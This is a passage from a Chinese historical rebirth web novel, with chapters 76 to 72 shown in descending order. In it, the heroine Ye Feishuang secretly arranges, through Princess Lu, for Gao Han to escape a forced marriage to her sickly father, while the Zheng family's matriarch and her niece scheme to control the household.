于是第二天,高萱就出了府,在一个胭脂铺子里找到了小秦氏。 听她说明来意,小秦氏挑高了眉梢:“你愿代你姐姐嫁?” 高萱郑重点头:“是。夫人放心,我嫁去后,一定会照顾好六姑娘和九少爷,孝敬老太太。” 人眼中的贪婪是掩饰不住的。 小秦氏一眼就能看出这年轻的姑娘打的是什么主意——看准郑氏的门第了。 其实这样倒更好,人只要有所图,那就更好控制了。 不过小秦氏也没有立刻答应她,而是道:“这是大事,我得去和老太太商量商量。不过高三姑娘有这份心就好,只盼着以后别忘了今日的话。” 一听这话,高萱便知这事八成是成了,激动道:“夫人放心吧!” 终身大事有了着落,高萱高兴坏了,感觉这辈子都没有这么舒畅过。 以后她就是荥阳郑氏的四夫人了,不再是高家一个不受重视的小庶女。 等她再有了一儿半女,好好教养长大,儿子当大官,女儿嫁显贵,她这个母亲也能母凭子贵,诰命加身。 其实很多人都想错了,一个女人尊贵不尊贵,其实不完全看丈夫,最重要的是看孩子。 高菡明显就没想通这一点,所以才寻死觅活的。 果然她比高菡聪明多了。 高萱兴致勃勃地在街上逛了一会儿,给自己添了几件好看的首饰和衣裳。 看见旁边有个叫味馨坊的点心铺子,她进去看了看。 店面不太大,客人竟然不少,挤挤攘攘的。 高萱想买几块点心,但是说了半天都没人来招呼她。 高萱的心气顿时又上来了,平时在府里受冷落就罢了,现在她都要当郑家的四夫人了,竟然买块点心都没人招待! 她顿时一拍柜台,怒喝一声:“把你们掌柜给本姑娘叫出来!本姑娘倒是要问问,你们这铺子怎么招待贵客的!” 第76章 算盘空 郑府。 阳光透过镶了云母片的窗柩斜斜照入,笼在宽大的紫檀木罗汉榻上。 榻上垫着厚厚的缎面褥子,郑老太太正歪坐其上,小秦氏正在给她捏腿。 底下跪着一个小厮:“……族长派去的人大多数都无功而返了,但有几个还在涂州。请示老夫人,咱们的人是撤回来,还是继续盯着?” “撤回来吧,没必要耗着了。”郑老太太说,“都盯了几个月了,有露头的早露头了。” 在听说族长派人去涂州查秦氏和乔禄的旧事时,郑老太太也立刻派了人去涂州。想着要是真有当年没有处理干净的漏网之鱼冒出来,就立刻解决掉。 反正绝对不能让人招供出郑茜媛和郑文博的身世。 已经几个月了,都没人钻出来,可见不会再有了。 旁边的罗妈妈说:“当年的知情人早就被咱们处理干净了。这都过去十来年了,他们什么都打听不出来的,您且放心吧。” 郑老太太叹息:“我没护好老四家的,让她赴了黄泉。她的俩孩子我必须得护好了,将来让他们承继四房,一生富贵显赫!” 小秦氏听了这话,眼珠一转:“等那高二姑娘过了门,就着人给她端碗绝子汤过去,四房不能再添丁了。” 罗妈妈倒是觉得没这必要:“四老爷身子一直不好,未必生得出来了。” “万一呢?断了她的念头,一了百了。”郑老太太认同小秦氏的做法,“她自己没了指望,才能一心一意护着博哥和媛姐,对他们视如己出。” 罗妈妈点头:“是,我会办好的。” 郑老太太闭上眼,转着手里的佛珠:“但愿这高二姑娘是个中用的,能替博哥和媛姐撑住四房。” 小秦氏说:“姑母放心吧,她爹的前途在夫君手里捏着呢,她不敢不尽心。” 罗妈妈奉承道:“四老爷真是好福气,要是没老太太和夫人,他上哪儿娶官家小姐去?” 小秦氏得意地说:“等她过了门,我就让她把靳氏和那个野丫头一并料理了,让博哥和媛姐清清静静地长大。” 这个时候,小秦氏的丫鬟忽然进来禀告:“夫人,威州的李司马着人替他们家的十四郎去高大人府上提亲了。” 小秦氏蹙眉:“去高同知府上提亲?和谁提亲?” “高二姑娘!” “怎么会?” “说是李十四郎几日前在璐王妃的春宴上瞧见了高二姑娘,一见倾心,李家便着人来提亲了。” 郑老太太霍然睁眸,一双老眼锐利如刀。 小秦氏则是浑不在意的样子:“那没什么。我现在便着人告诉高同知,让他回绝李家的提亲便是。他家二姑娘已经订给我们了,他知道轻重。” 郑老太太拦住了她:“不可。” “姑母?” 郑老太太神情严肃:“威州李氏是陇西李氏的分支,璐王妃便出身陇西李氏。你要是让高同知回绝,李家再请了璐王妃前去保媒,你又当如何?你难道还要和璐王妃杠上吗?” 小秦氏顿时怂了:“我哪儿敢啊……” 她刚才那么说是不知道这提亲的李家竟然和璐王妃有关系。 郑老太太想了想,摇头叹气:“这门婚结不成了。” 小秦氏尤不甘心。她都想好了,等高菡嫁过来,掌握了四房的财产后,就让高菡多多孝敬自己,自己以后会得到源源不断的好处。 她夫君杜知府是个清官,虽然门第不错,但并不富裕。她以前就很羡慕姐姐嫁到富庶的郑家,有祖母护着,日子是富贵又奢靡。 到手的钱袋子就这么飞了,她能好受才怪了。 小秦氏挽着郑老太太的手,好声好气地说:“姑母,我不敢和璐王妃对上,但您能啊。璐王虽是天潢贵胄,但他到底不管事,也没实权,这荥阳不还是咱们姓郑的说了算吗?您出面说要让高二姑娘给您做儿媳妇,我不信璐王妃还敢和您抢人!” “若是以前,我还真能说说。但上任知府曹崖倒台后,抖落出许多对我们不利的事,璐王府的府臣还找上门过,我费了好大劲才压下去。若是被璐王一封折子捅到京城去,我们家在京城为官的老大老三岂不是要麻烦了?” 小秦氏听明白了。 郑家有把柄落在了璐王手里,现在只能夹着尾巴做人。 以前的荥阳是璐王府和郑府平分秋色,现在可不是了。 如意算盘落了空,小秦氏虽满心不愿,却也只能认了。 早知道就让高夫人把高菡关在家里不让她出去了,好好的去什么璐王妃的春宴,闹出这么档子事来! —— 叶绯霜正在味馨坊里,看最近几款糕点的售卖情况。 “绿豆糕卖得好,多做一些。芙蓉糕里的糖可以再减一点,还是有些腻。” 绿蕊点头:“记下了,姑娘。咱们最近新做的点心卖得还行,比以前强多了,但是离利润翻五番还是差远了。” “没事,不急,慢慢来。”叶绯霜阖上账本,“要是哪款点心卖爆了,一下子就能赚够。” 外间传来一个熟悉的含笑嗓音:“志向不错啊!说不定有朝一日,你这铺子就成第二个宝芳斋了!” 叶绯霜迎出去,见卢季同、宁衡来了,还有几个她不认识的年轻公子。 她笑问:“世子和几位公子怎么过来了?” 卢季同懒懒散散地靠着柜台:“刚从杜大人宴上下来,吃腻了,路过你这铺子,进来讨几碗饮子解解腻。” 叶绯霜让绿蕊盛了几碗加了橘叶的熟水过来。 宁衡则把叶绯霜拽到门口,压低声音却压不住兴冲冲的语气:“你交代的事情已经办好了,李家已经去向高二姑娘提亲了!” “嘘。”叶绯霜向他示意,“不是和你说过吗?在外边不要说这些事。” 宁衡乐了:“怕啥啊?这不是你的铺子吗?” 他师父也太小心了,隔墙哪有那么多耳朵。 里边正在喝饮子的一名公子忽然问:“咦?傅兄呢,怎么还没跟上来?” 有人笑答:“陪着傅姑娘呢啊,难道要让傅姑娘和陈三单独相处?他这个当哥哥的肯定要给妹妹打掩护啊。” 一群人全部都心照不宣地笑了起来。 卢季同打断他们:“行了行了,别说这些。陈三和傅姑娘什么都没有,让你们说得好像他们怎么了似的。” “现在没有不代表以后没有啊,傅姑娘心悦陈三谁都看得出来。” “就是啊。难道陈三真放着这么个品貌双全的大才女不要,等着娶他那小未婚妻啊?” 这人说着,还朝叶绯霜一扬下颌:“姑娘,我问你啊。一个文武全才的世家公子,一个大字不识的乡野村夫,若要让你选一个当夫婿,你选哪个?” 拿着一串冰糖葫芦的陈宴刚进来,就听见叶绯霜笑吟吟的回答:“男人有什么好的,我哪个都不选。” 第75章 解困局 叶绯霜是在给陈宴做了外室之后,才知道他其实没有看起来那么端方自持。 从外表看,他清清落落一个人,不食人间烟火的仙人似的,仿佛七情六欲根本沾染不了他。 但实际上,他对床笫之事颇为沉溺。 因为实在喜欢他,而且做这种事也很舒服,叶绯霜也喜欢和他一起。 她喜欢看陈宴失控的样子,因为那是独属于她的一面,只有她能看到,只有她一个人拥有。 刚跟他的那段时间,陈宴兴致最高,每次一回来就抱着她不放手。 他把脸埋在她颈间,磨蹭、啃咬,不耐烦地解她的扣子,含糊不清地说:“以后不要穿立领,不方便。” 叶绯霜捶了捶自己的脑袋,想要把那些该死的桃色记忆给赶走。 怎么这么深刻,让人家一句话就能勾起来,真服了。 都怪陈宴总是在她眼前晃,要是他离得远点,那些前尘往事她早就忘得一干二净了。 叶绯霜第二天就回了点心铺子。 在点心铺子里住了五六天,脖子上的痕迹彻底散得差不多了,她才回郑府。 路上,她还远远地看见了那位高二姑娘。 高二姑娘跟在小秦氏身后,身姿娇柔纤细,眼睛很大,嘴巴很小,很漂亮的样貌,就是脸色太差了。 那种憔悴与忧愁是再厚的脂粉都掩饰不住的,眉宇间的郁色让她一双明眸毫无神采。 尤其和她旁边喜笑颜开的小秦氏比起来,就显得更落寞了。 高二姑娘单名一个“菡”字。 父母希望她如菡萏般,亭亭净植,出淤泥而不染。可现在,她却为世俗所累,不得不听从父亲上峰夫人的安排,嫁给一个比她大十几岁的男人。 她还听说,那个男人缠绵病榻,性格怯懦,毫无建树…… 和她幻想中的如意郎君简直就是天壤之别。 高菡这些天浑浑噩噩,都不知道自己是怎么陪着小秦氏去的郑府,又是怎么面对的郑家那些人。 高菡回家后,在房梁上悬了根白绫。 高夫人来看女儿,见此情形吓坏了,嚎哭道:“菡娘,你这是做什么啊!” 被救下来的高菡披头散发,捶地大哭:“还不如让我去死,死了便不用嫁了。” 高夫人抱着女儿:“这是什么傻话?娘知道你不愿意,那郑四老爷是大了些,但是个老实人,不会磋磨你的。他房中只有一个姨娘,也是个安分的主儿……” “他还有三个孩子呢!我今日见到了那对双生子,被娇惯得不成样子,对我横眉竖目。我还听人说那位五姑娘更是歹毒,毫无教养,平日里就总是欺负弟妹,还害死了她嫡母!等我嫁过去,她是不是也要害死我?我这哪里是嫁人,分明就是往火坑里跳啊!” “不会的不会的,有郑老太太和秦夫人护着你,那五姑娘不敢。” 高菡哭得撕心裂肺:“我的命怎么这么苦?怎么就摊上这么一桩姻缘!娘,你让我死了吧……” “傻孩子,你要出了事,郑家和秦夫人以为你是看不上郑府,她们要怎么看咱们家?你爹以后又要怎么在知府大人手底下当差?” 求死竟也不能,高菡哭得几乎要厥过去。 “别哭了,明天还要去璐王府赴宴呢。”高夫人说,“哭得眼睛肿了,就不好看了。” “我才不想去,平白让人看了笑话!” 可她也就是说说,璐王妃下的帖子,她有天大的胆子也不敢拒绝啊。 —— 叶绯霜早早就到了璐王府。 璐王妃拿出几幅画像给叶绯霜看:“这都是我挑好的青年才俊,人品相貌都是上等。” 叶绯霜说:“辛苦王妃了。” “不辛苦,关系人家姑娘一生的事可马虎不得。”璐王妃说,“我也打听了这位高二姑娘,是个好的,要不是倒霉让郑老太太她们看上了,阖该配一位好郎君。” 叶绯霜发现这几位郎君都和璐王妃有或近或远的姻亲关系。 可见璐王妃是真的尽了十分的心办的这件事。 见叶绯霜把画像收了起来,璐王妃惊道:“你这是……” “我准备拿给那位高二姑娘看看,让她过过眼,可以吗?” 璐王妃看着叶绯霜的眼神更柔和了,笑道:“让你这么一弄,我倒不知道该说那位高二姑娘是幸运还是不幸了。” 不幸的是她被郑家人选中了要嫁给郑涟。 幸运的是四房有叶绯霜这么一个人,给她挡住了这个火坑。 盲婚哑嫁多的是,许多夫妻洞房前都没见过彼此。这位高二姑娘竟还有机会在一众儿郎里挑选合眼缘的夫君。 “你对她太尽心了。”璐王妃说。 叶绯霜感慨:“女儿家若嫁不对人,日子太难熬了。” 璐王妃点了点她,失笑:“小小年纪这么一副老成的模样,听着好像你嫁过似的。” 璐王妃的侍女带着叶绯霜去王府花园。 此时的高菡在花园厢房里坐立不安。 说有贵客要见她,她便糊里糊涂地跟着人来了这里。现在才意识到不对,万一出什么事呢? 外边传来脚步声,高菡急忙起身,只见一个十三四岁的红衣姑娘稳步迈入,桃腮杏目,眉眼映丽,一派好颜色。 侍女主动介绍:“高二姑娘,这位是郑五姑娘。” 高菡一愣,这就是郑家人口中那个歹毒狠辣的五姑娘? 叶绯霜让侍女们出去了,把手中的画卷放在桌上,朝高菡点头微笑:“高二姐姐好。 她笑容恬淡,目光柔和,实在和“歹毒狠辣”沾不上边。 高菡怔怔问:“你真是郑五姑娘?” “看起来不像?” “郑五姑娘的年岁好像没这么大。” “穷人家的孩子早当家,我以前在乡下,为生计所迫,所以要懂事得早一些。” 高菡仔细打量叶绯霜,发现她身量高,周身带着股沉稳可靠的气度,所以乍一看让人觉得她年岁大了些。若是抛去气质仔细看看她的脸,分明就是个小姑娘嘛。 “我知道高二姐姐不想嫁我爹,刚好,我爹也不想娶。我今日来找姐姐,就是为了解决此事的。” 高菡面露凄苦:“能有什么办法呢?秦夫人让我嫁,她丈夫杜知府是我爹的上峰,我们家连拒绝的余地都没有。” 叶绯霜指了指画像:“姐姐从里边挑一个吧,挑中哪位郎君,不日便会有人去高府提亲。” 高菡苦笑摇头:“我已经被订给郑家了,即便有人上门提亲,我爹娘也不会答应的。” “这些郎君都是璐王妃的姻亲,他们若要娶你,你爹娘不敢不答应,放心吧。” 高菡陡然愣住,继而嘴唇震颤,枯寂的眼中迸出华彩,宛如枯木终于逢了春。 她一把握住叶绯霜的手,声音哽咽发颤:“郑五姑娘,你若解了我这个困局,你就对我有再造之恩,我会一辈子感谢你的。” 第74章 没想法 前世叶绯霜消息闭塞,她只听说璐王父子中秋那夜在庇阳山遇袭,伤势惨重,之后被陈宴所救,其余就一概不知了。 “查出是谁做的了吗?”叶绯霜问。 陈宴给叶绯霜讲了个故事:“二十年前,璐王曾奉命给北地战场运送粮草,在经过幽山时被山匪所劫,粮草尽失,贻误了战机。后来璐王带兵捣了这群山匪的老巢,但山匪头目六岁的小儿子不知所踪。” “所以是那个逃掉的小孩子现在长大了,便寻到璐王想要为其父复仇?如果真是这样,那对方应该想要杀掉璐王才对。可他们的箭上涂的是麻痹散而不是毒药,证明他们可能更想活捉璐王。” 陈宴颔首,对她的话表示赞同:“元宵节那天刺杀我的人中,我留了一个活口,查到了对方和晟王有关系。” “晟王和璐王不是一母同胞的亲兄弟吗?” 陈宴说:“天家无父子,皇室无亲情。” 一说到晟王,叶绯霜倒是想到了前世陈宴和自己说过的一桩事。 别看现在的璐王是个逍遥道人,可他曾经是被先帝议过储的。当然,晟王亦是。 难道是当年议储之时,璐王和晟王产生了什么矛盾,导致兄弟反目?后来幽山山匪幸存的小儿子投靠了晟王,二人一合计,共同对璐王下手? 但凡事太实则虚。对方将线索引到晟王身上,其实未必真的是晟王做的。 陈晏必然也明白这一点。 见叶绯霜忽然沉默了,陈宴问她:“在想什么?” 叶绯霜明白现在的自己不应该知道璐王和晟王的纠葛,于是她摇了摇头,做出满头雾水的样子:“感觉好复杂,好可怕。” 陈宴道:“我和璐王父子说过,把你隐藏起来,对外只说庇阳山那晚是我救的他们,对方应该报复不到你头上。但凡事就怕万一,我不想让你有意外。” 说到这里,陈宴轻声叹了口气,有些无奈似的:“你若好好待在郑府里,我自然不必时时担心你的安危。偏你是个坐不住的,一天到晚往外跑。” 就连卢季同都说过,叶绯霜这个天天往外跑的样子,活像在笼子里被关了十年的鸟儿,好不容易得到自由,就野疯了。 但是看她策马驰骋,陈宴又觉得,她本就不该被困在深宅大院中。 到达张庄村时,天已经黑了。村子里寂静一片,偶尔传来几声狗吠。 叶绯霜熟门熟路地到了刑娘子家,叩响门扉。 很快刑娘子就举着根蜡出来了,问:“谁呀?” “刑娘子,我是叶绯霜。” 摇曳的火光映照出刑娘子惊讶的面容,她忙道:“五姑娘?您怎么这么晚来了?来来,里边请。” 她又看到叶绯霜身侧的陈宴:“陈公子也来了?” 进了屋,叶绯霜没让她端茶倒水地忙活,直接说明来意:“刑娘子,我想请你帮个忙。” 刑娘子也不问什么忙,就爽快地应了:“行,五姑娘您就直说吧。” “我想……”叶绯霜看向陈宴,“陈公子,回避一下可否?” 陈宴彬彬有礼地一颔首,施施然起身,出去了。 刑娘子有些迷惑:“五姑娘,陈公子不是你夫婿吗?你有啥事还避着他啊?” “什么夫婿!”叶绯霜立刻纠正她的话,“我俩只是有婚约,没有成亲。” “有婚约那不就是夫妻吗?没成亲也是夫妻啊。”刑娘子爽朗笑道,“我和我家那口子就是娃娃亲,从我记事起他就叫我媳妇了。我看你和陈公子,比我和我当家的小时候还好。” “不不不,不好,我俩不好。” “怎么不好了?你俩总是在一块儿,不管干啥都在一块儿。不是有个啥词来着?什么长随……” 陈宴清润的声音从窗外传来:“夫唱妇随。” “对对对!”刑娘子一拍大腿,笑着说,“你俩就是这样的!” 叶绯霜无语了:“陈宴你怎么回事?出去了还偷听?” 陈宴慢条斯理地回答:“二位这声调,我根本用不上这个‘偷’字。” 叶绯霜不理他,拽着板凳靠近刑娘子,压低声音:“刑娘子,我和你说正事,我想让你去一趟涂州。” “行啊,不过涂州那是啥地方?远不远?” “是我嫡母和我祖母的老家,不算近,我会派人送你过去的。” 刑娘子一下子瞪大眼,火气上涌:“你嫡母?那不就是那个姓秦的!” “是啊。我嫡母已经恶有恶报了,但我祖母还还好的。我这次让你去涂州,就是处理一些早年的事。刑娘子,我记得你娘是个接生婆?” “是。” “很好,你去了涂州之后,会见到在那里打探消息的人,然后你就说……他们会带你回来,见我们郑氏的族长,到时候你再说……” 刑娘子越听眼睛瞪得越大:“五姑娘,这事是你编的,还是真的啊?” “是真的。” 刑娘子一拍大腿,骂道:“黑了心老虔婆,干这种损阴德的事,不怕死后让人扔油锅里!” “到时候可能会有人吓唬你,逼你改口,但你不要怕,他们不敢真的对你怎么样。” “我才不怕,我和她们姓秦的不共戴天!”刑娘子恶狠狠地说。 不光刑娘子,从张庄村随便拽个人出来,都和秦氏之流不共戴天。 这也是叶绯霜来找刑娘子办这件事的原因,因为她们同仇敌忾,共同的敌人就是连接她们最好的纽带。 从刑娘子家里出来后,已经是半夜了,回城是回不去了,叶绯霜便和陈宴来了张庄别院。 原来的大管家秦鲤已经死了,现在的大管家是铜宝和小桃的爹,叫石杨。 石杨是郑家的家生子,之前在一个粮铺里当二掌柜,觉得这辈子也就这样了。没想到天降馅饼,他竟然也有王八翻身,当别院大管家的一天。 石杨知道是因为自己闺女儿子在这位五姑娘身边得力才有了自己这一天,对叶绯霜相当恭敬殷勤。 房间很快整理好,叶绯霜进去后摘掉丝巾,对着镜子照了照脖子,上边的掐痕比白天更严重了。 她摸出药膏来涂。 陈宴倚在门口看她,前边还涂得很精细,但是颈后镜子照不到了,她就把药膏抹到手心里,整个往脖子上糊。 陈宴看不下去她这粗糙的样子,走过去接过她的药膏:“我来。” “我自己随便抹抹就好。” “你没涂到。”陈宴在她后颈下边按了按,“你这里就没涂。” 叶绯霜“嘶”了一声:“怎么还能伤到那儿?宁衡的手是有多大。” 陈宴按着她的脖颈,指尖沾了药膏落在她颈后肌肤上,触感微凉,叶绯霜激灵了一下。 “把外衫脱了。”陈宴说,“你这件是立领,不方便。” 顿时,叶绯霜看向陈宴的目光里写满了警惕和不信任。 陈宴面无表情地从镜子里回视她:“放心,我现在对你生不出任何旖思。要想让我对你有非分之想,你得再长几年。” 第73章 不正经 开什么玩笑,她和逸真大师说的话哪能让别人知道。 叶绯霜灵机一动:“我刚求大师批了一下我们的婚约。” 陈宴:“我进去看看世子。” 叶绯霜拽住他:“我还没说完呢。” “五姑娘说的话从来都不是我爱听的。”陈宴知道她要说什么,“你不必多言,我不会信的。” “自欺欺人可不是好事。”叶绯霜继续胡编,“大师说咱俩不合适,命格犯冲。陈宴,你要接受这个现实,不要违抗天意。” “他说不合适便不合适?我凭什么要听他的?” “大师很神的,他能参透天机。” “怎么神了?” 叶绯霜总不能把逸真大师看破自己这事给说出来。她指了指床上已经坐起来、正在口齿清晰地和他爹娘说话的宁衡:“你看,他不就把世子治好了?” “我怎么知道是大师治好的?万一是王爷做的法起了作用,大师只是过来捡了个现成呢?” “王爷做的法要是有用早有用了,就是大师的功劳啊。” “万一王爷做的法就是需要时间才起效呢?大师只是来的时间刚刚好而已。” 叶绯霜:“你这是强词夺理。” “那好。”陈宴点头,“我便派人前去宁国寺一趟,好好问问大师是怎么批的。锦风——” 叶绯霜刚想拦他,但是转而一想,对,就让他去。 她前世就和陈宴没有好结果。这证明什么?他俩就是不合适啊! 逸真大师那么神,肯定能算出他俩天不造地不设,陈宴再不信这也是事实。 “好,去吧。”叶绯霜放心地说,“不信逸真大师的话还可以多找几个大师批一批。” 批出咱俩天作孽缘你就知道轻重了。 叶绯霜凑过去看宁衡,宁衡眨巴着一双黑黝黝的眼睛:“师父,你脖子怎么了?” “没……” “你还有脸问。”陈宴凉凉的声音盖过了叶绯霜的话,“还不是你这个欺师灭祖的孽徒做的好事。” 宁衡一头问号地看向他爹娘。 璐王:“咳。” 璐王妃:“呃……其实陈公子还真没说错。” 得知叶绯霜是被自己掐的,宁衡感觉天都塌了。 他知道自己有一身使不完的牛劲。看叶绯霜脖子上那些痕迹,他真的是照死掐她的。 怎么会呢?他是被鬼上身了吗? 宁衡连声道歉,生怕叶绯霜不要自己这个徒弟了。那枪法他才学了三招,屁都不会呢。 “没事的,世子。”叶绯霜说,“我刚好有件事想请你帮忙呢,你帮我办了,就当补偿我了,好不好?” 宁衡忙道:“有什么事你尽管说!师父,咱们之间不用见外的,你的事就是我的事!” 叶绯霜说了几句话,宁衡当即便应了:“这事简单,我马上就着人去办!” 璐王妃也听了个明白,她比宁衡想得多一些:“这样的话,那高二姑娘会愿意吗?” 叶绯霜讪笑:“我爹也不是什么香饽饽,年纪又大,身体还不好。要是有青年才俊,谁想嫁我爹啊。” 璐王妃想了想,说:“这样,我开个宴,把那高二姑娘请过来,我问问她的意思。” “这样就太好了,太感谢您。” “这都是小事呢。”璐王妃拉着叶绯霜的手,摸了摸她的脸,“之后该怎么办?没了这高二姑娘,你祖母还会选其它姑娘,你个个都要这么费心吗?” “之后的事我已经有成算了。”叶绯霜说。 璐王妃叹了口气,看向她的目光里带上了显而易见的心疼。 都说穷人家的孩子早当家,其实富人家的孩子更早慧,他们从小面临的事情要更加复杂。 像宁衡这种,什么都不用愁,可以无忧无虑长大的,真的太少了。 多的是叶绯霜这种,小小年纪要长一万个心眼子。走一步看三步,步步小心翼翼,一步踏错就会惹来大祸。 从璐王府出来后,叶绯霜对陈宴说:“麻烦陈公子去落梅小筑帮我和爹娘说一声,我这几天要在味馨坊里忙,就不回去了。” 味馨坊就是她的点心铺子。 脖子上的伤痕太严重了,要是让爹娘看见,不知道要担心成什么样子,索性就养好了再回去吧。 陈宴知她所想,应了。 叶绯霜回了一趟味馨坊,让绿蕊去旁边的成衣铺子里给自己买了件立领的衣服。 换上之后发现还是不能完全挡住,她只能又系了一条纱巾。 这么弄完就到了傍晚,叶绯霜从点心铺子后院牵出“爱美”,准备出城。 “爱美”就是她那匹枣红色的马,因为有被陈宴的漂亮马迷得神魂颠倒的前科,被主人取了这么个名字。 其实一开始叶绯霜想叫它“好色”,但是感觉“爱美”更好听一点。 叶绯霜骑着爱美一路驰骋,往张庄村去。 她太喜欢这种策马奔腾的感觉了,感觉处处都是旷野,没有什么可以阻挡她。 行了十几里,身后传来一阵马蹄声,雄浑有力,富有节奏,一听就是驯养良好的骏马。 她勒住缰绳一回头,对方刚好行至她跟前。 雪衣白马,在橙红的晚霞中如银河流光一般飒沓而至。衣袂飘飞翩然,无比的写意风流。 “好好好,陈宴。”叶绯霜无语,“又让人跟踪我是吧?” 他这跟上来的速度,怕是自己前脚出门,他后脚就得到消息了。 “只能说我太了解五姑娘了。”陈宴倒是坦然得很,“我便知道五姑娘不会老实呆在点心铺子里。” “你没有自己的事情要做吗?虽然你现在还没入仕,你也应该有很多正事啊。” “事情的确很多,但一件都没耽误,需要我一一向五姑娘汇报吗?” “不听,没兴趣。”叶绯霜使劲儿拽着缰绳,但也控制不住爱美又去贴人家的漂亮马了。 她拍拍马头,恨铁不成钢:“爱美,你给我离小黑远点。” “爱美?”陈宴扬眉,“小黑?” ……完蛋,嘴太快了。 陈宴看着身下通体雪白的骏马,问叶绯霜:“五姑娘如何得知它叫小黑?” 前世,陈宴有两匹爱马,一黑一白,都是极品骏马。 比较有意思的是它们的名字,黑的那匹叫小白,白的那匹叫小黑。 也是在得知这两个名字后,叶绯霜才意识到,原来陈宴也不是个多一板一眼的人,也有不太正经的一面。 叶绯霜狡辩:“上次你骑那匹黑马时我听见锦风叫它小白了,我就猜你这匹白马叫小黑。看来被我猜中了?陈宴,你这人真不正经,哪有这么给马取名字的?” 陈宴不觉得自己取的名字有什么问题,反问:“五姑娘起的‘爱美’难道是什么正经名字吗?” 叶绯霜:“……好,咱俩半斤八两,谁也别笑话谁。” 她一夹马腹,继续赶往张庄村。 陈宴就和知道她的目的地似的,也不多问,策马跟着她。 “元宵节那天,我遇到一次意外。”陈晏忽然说。 叶绯霜望了过来,陈晏继续道:“我感觉和刺杀璐王的是同一批人,他们知道了是我救的璐王,报复到了我头上。我怕他们知道你也会对你下手,我跟着你是想保护你。” 第72章 活神仙 叶绯霜推开宁衡,安慰他:“你的腿还在啊,世子。你忘了吗?我拉住你了啊,你没有掉下去,你的腿没伤着。” 宁衡呆呆的,双目又逐渐失焦,像是听不懂叶绯霜在说什么。 忽然,宁衡一把掐住了叶绯霜的脖子,把她按倒在床上,朝她声嘶力竭地大吼着:“你们为什么不来救本世子?你们这群废物,怎么那么晚才来?你们还本世子的腿!” 他虎目圆睁,双眼血丝遍布。两条胳膊青筋暴起,好似把全身的力气都汇集到了手指上。 刚才还抱着自己哭的人忽然要掐死自己,这转变太快,叶绯霜想躲都来不及。 她一个音节都发不出,只觉脖颈处的经脉疼得要断裂一般。眼前发黑,喘不上气。 有仆从看见了,急忙来阻止宁衡,但他们碍于身份,也不敢用太大的力,一时间竟也拽不开宁衡。 宁衡还在嘶喊:“腿断了,我也不活了,你们一个个的都来给本世子陪葬!你们一个都别想活!” 力气相差太多,叶绯霜掰不开宁衡的手,便抬腿用力踹向他。宁衡身体晃了晃,手上的劲儿松了一点。 叶绯霜立刻要再补一脚,一个身影飞快闪了进来,随手拿起桌上的八宝铜香炉干脆利落地往宁衡头上一敲,宁衡登时便晕了过去,彻底松开了手。 全身的血在一瞬间涌入脑中,震得叶绯霜耳畔嗡鸣作响,眼前黑一片白一片,什么都看不清楚。 过了一会儿,叶绯霜终于缓过神,撑着坐了起来,陈宴扶了她一把,问:“还好吗?” 叶绯霜摇摇头,示意自己无事。 她今天穿了件圆领的春衫,露出了细瘦的脖颈。现在她脖子上满是青紫的掐痕,看着十分恐怖。 璐王妃急忙叫人拿了化瘀的药膏过来,亲自给叶绯霜涂,无比歉意地说:“对不住了五姑娘,衡儿此前从未这样过。他说胡话归说胡话,从未和人动过手,我们实在没有想到。” 叶绯霜给了璐王妃一个不要紧的笑容:“我也没想到。” 嚯,她嗓子都哑了。 璐王妃又气又急,朝璐王大喊:“你还傻愣着干嘛?还不赶紧把宁国寺的逸真大师给我请来!我早就说了你们这群臭道士不行,你非得自己做法,看看这事让你闹的!” 差点出了人命,璐王也不敢托大了,灰溜溜地安排人去宁国寺请人了。 脖颈上涂了一层冰凉的药膏,那种火辣辣的刺痛感总算消退了不少,人也好受了许多。 很快,宁国寺的住持逸真大师就来了。他看了看宁衡,说要给他念经,让闲杂人等都出去。 叶绯霜正要出去,却被逸真大师叫住了。 “这位施主留下。” 璐王妃忙道:“大师,是要人帮忙吗?我留下行不行?这姑娘刚才被衡儿伤到了,我怕衡儿再对她不利。” 逸真大师摇了摇头:“只能是这位施主。诸位放心,我会护好她,不会出事的。” 陈宴思忖片刻,低声对叶绯霜说:“我就在门口,若有不对便喊我。” 叶绯霜倒是一点都不害怕,她只是惊疑。 既惊疑宁衡为何忽然魇到前世之事,也惊疑逸真大师为何独独让自己留下,难道他看出了什么? 逸真大师拿出一个香炉,在炉中点燃供香,烧了符纸。 然后又拿出一个铃铛、一个经幡,一边摇一边念着叶绯霜听不懂的经文。 但是中间夹杂着的一些字眼叶绯霜还是可以听懂的,比如:魂兮归来…… 逸真大师在为宁衡招魂。 叶绯霜以前倒是听说过不少鬼上身、离魂等等鬼故事,可自己毕竟也没见过,不知真假。 但自己都有了重生这种离奇的经历,有些事也由不得她不信了。 逸真大师念完了经文,对叶绯霜说:“施主,过去唤他。” 叶绯霜走到宁衡床边,一声声地喊他的名字。 直到逸真大师说“可以了”,叶绯霜才嘴干舌燥地住了口。 她忍不住问逸真大师:“为何是我来唤?不该让王爷和王妃来吗?” 以前在乡间,有小孩子受了惊,都是由爹娘这种至亲之人来叫魂的。 逸真大师朝叶绯霜露出一个仙风道骨的微笑:“因为施主是改变世子命数之人。” 叶绯霜霍然瞪大眼,不可思议地看着逸真大师。 逸真大师耄耋之年,长须雪白,脸上沟壑遍布,一双眼却炯然有神。目光慈爱温和,仿佛海纳百川。穿着件灰色的僧袍,纤尘不染,当真有种超脱凡尘之感。 “您……”叶绯霜卡了壳,一时间不知道该怎么形容,“您知道我?” “此乃施主机缘。”逸真大师说,“施主放心,贫僧绝非泄露天机之人。” 叶绯霜:…… 哇,神仙,活的。 叶绯霜凑近逸真大师,想趁机打听点儿有用的:“大师,那您知道我为何……有此机缘吗?” 逸真大师:“贫僧绝非泄露天机之人。” 叶绯霜又想到了和上一世不一样的春闱:“那现在世上还有没有和我一样的人?” “贫僧绝非泄露天机之人。” 叶绯霜:…… “那世子为何会梦到那些事?这也是天机吗?” “世子行猎时被野兽所惊,又想起当日庇阳山之事,极度惊恐以致神魂不稳,又兼形魄失和,从而失常。”大师说,“此种情形十分少见,不必太过忧虑。” 床上的宁衡忽然动了动,迷迷糊糊地睁开眼。 看见叶绯霜,他唤她:“师父?” 叶绯霜没靠近他:“是我,世子,你现在好些了吗?” “唔,头好痛。”宁衡皱起脸,“感觉脑袋要炸开了,里边疼外边也疼。” 逸真大师问:“施主可记得自己做了什么梦?” 宁衡想了想:“没有啊,我就感觉自己睡了一觉。” 逸真大师点头,知道事情已经解决,于是不再多问,把香炉和供香收起来,装进包袱里。 一开门,最先看见的就是门口的陈宴。 